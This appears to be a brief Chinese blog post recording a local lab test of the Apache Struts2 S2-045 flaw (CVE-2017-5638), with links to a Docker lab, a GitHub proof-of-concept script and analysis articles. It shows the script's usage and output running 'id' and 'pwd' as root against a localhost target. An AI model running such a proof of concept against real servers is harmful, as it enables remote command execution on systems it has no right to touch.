struts2 s2-045初探

来源:互联网 发布:淘宝客扣费好吓人 编辑:程序博客网 时间:2024/05/22 09:36

https://github.com/Medicean/VulApps
使用它的docker镜像
用这个poc
https://github.com/Medicean/VulApps/blob/master/s/struts2/s2-045/poc.py

➜  VulApps/s/struts2/s2-045 master ✓ python poc.py http://127.0.0.1:8080[*] struts2_S2-045.py <url> <cmd>➜  VulApps/s/struts2/s2-045 master ✓ python poc.py http://127.0.0.1:8080 id[*] CVE: 2017-5638 - Apache Struts2 S2-045[*] cmd: iduid=0(root) gid=0(root) groups=0(root)➜  VulApps/s/struts2/s2-045 master ✓ python poc.py http://127.0.0.1:8080 pwd[*] CVE: 2017-5638 - Apache Struts2 S2-045[*] cmd: pwd/tmp➜  VulApps/s/struts2/s2-045 master ✓

然后后来看到了有人搭好了环境。
https://github.com/mottoin/S2-045
下载下来到本地测试一下。

漏洞分析

http://paper.seebug.org/241/
http://blog.csdn.net/u011721501/article/details/60768657
http://bobao.360.cn/learning/detail/3596.html

原创粉丝点击